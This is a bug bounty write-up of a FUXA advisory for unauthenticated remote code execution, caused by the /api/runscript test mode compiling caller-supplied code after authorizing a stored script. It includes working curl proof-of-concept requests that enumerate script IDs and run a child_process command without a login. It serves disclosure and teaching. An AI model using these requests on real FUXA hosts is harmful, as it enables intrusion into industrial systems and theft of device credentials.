# FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

FUXA's /api/runscript test mode authorizes against the stored script's permission but compiles attacker-supplied code, letting unauthenticated guests run arbitrary Node.js commands.

- Payout: Research
- Severity: high
- Program: FUXA
- Found by: AbdrrahimDahmani
- Disclosed: 2026-05-26
- CVE: CVE-2026-43947
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rg3m-cfq7-g6h6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rg3m-cfq7-g6h6
- Tags: area:devices domain:iot domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:rce

**Target:** POST /api/runscript endpoint (fuxa-server Node.js)
**Root cause:** isAuthorised validates the stored script's permission field by ID, but when test:true the handler compiles the request body's code instead of the stored script. Scripts lacking a permission field pass the check for any caller, and the JWT middleware auto-issues a guest token when none is supplied.
**Steps:**
1. Enumerate script IDs/names via unauthenticated `GET /api/project` (e.g. `curl -s http://host:1881/api/project | jq '.scripts[] | {id, name, permission}'`).
2. Pick a script with no permission field (e.g. id `s_42a888fa-8e3d4213`, name `subs`).
3. POST to `/api/runscript` with `{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}` and no auth header.
4. Middleware issues a guest token; isAuthorised passes on the stored script; runTestScript compiles and executes the supplied code, returning command output.
**How found:** Code review of the script runtime: noticed the authorization lookup uses the stored script by ID while execution path branches on test:true to use request-supplied code — a confused-deputy mismatch — combined with the guest-token fallback in verifyToken and the `!st.permission` truthiness check.
**Exploitation:** Unauthenticated attacker sends a single POST with a known script id/name and test:true plus arbitrary code; the guest JWT satisfies auth, the stored script's empty permission satisfies authz, and Module._compile executes the code with full Node.js runtime (require, child_process, fs), yielding command execution on the FUXA host and access to device connections/credentials.
**Insight:** When an endpoint authorizes an object by ID but a mode flag (test/preview/dry-run) swaps in caller-supplied content, the authz and the executed artifact diverge; also treat `!obj.permission` as fail-open when permission is optional.

## Proof of concept (copied exactly from the original report)

**Unauthenticated runscript test-mode RCE curl**

```
curl -s -X POST http://192.168.32.129:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'
```

**Unauthenticated project endpoint script ID disclosure**

```
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
```

